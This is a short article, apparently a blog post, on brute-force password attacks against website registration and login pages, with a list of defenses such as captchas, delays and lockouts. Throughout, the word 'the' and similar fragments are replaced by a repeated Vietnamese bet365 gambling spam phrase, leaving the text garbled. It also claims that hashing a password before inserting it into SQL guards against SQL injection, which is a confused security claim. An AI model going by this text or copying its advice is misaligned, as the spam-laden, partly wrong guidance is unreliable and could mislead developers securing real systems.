The password is selected when a user is trying to register to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site. We don’t usually lockout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration page after any number of unsuccessful attempts as we believe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user is trying to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password combination. Some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 websites on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir registration pages have captcha to ensure protection from bots but not many sites have that.

We can take certain steps to prevent us from this type of attack
Registration page

1. Implement a captcha. (though this is a tough one as it is a great inconvenience to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user but it does protects from automated attacks)

2. If we don’t filter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a possibility of SQL injection attack. For that, we can hash cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password before inserting into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SQL to store in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 database (That is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 general trend cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se days anyway) but we should be selective about what we filter and what we do not filter.

3. Put a delay of few seconds in every subsequent attempt. This is not a full proof solution but it definitely slow down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 automated attacks.

4. Encourage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to select stronger passwords by displaying how weak cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir password is on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration page even though it is not enforced by a password policy.

Password page

1. Implement password lockouts. Reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password after lockouts. The new password should not be same as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last password (at least)

2. Be selective about what you filter for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwords.

3. Put a delay of few seconds in every subsequent attempt.

You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo and download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code from Attack Labs


Explanation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code can be viewed here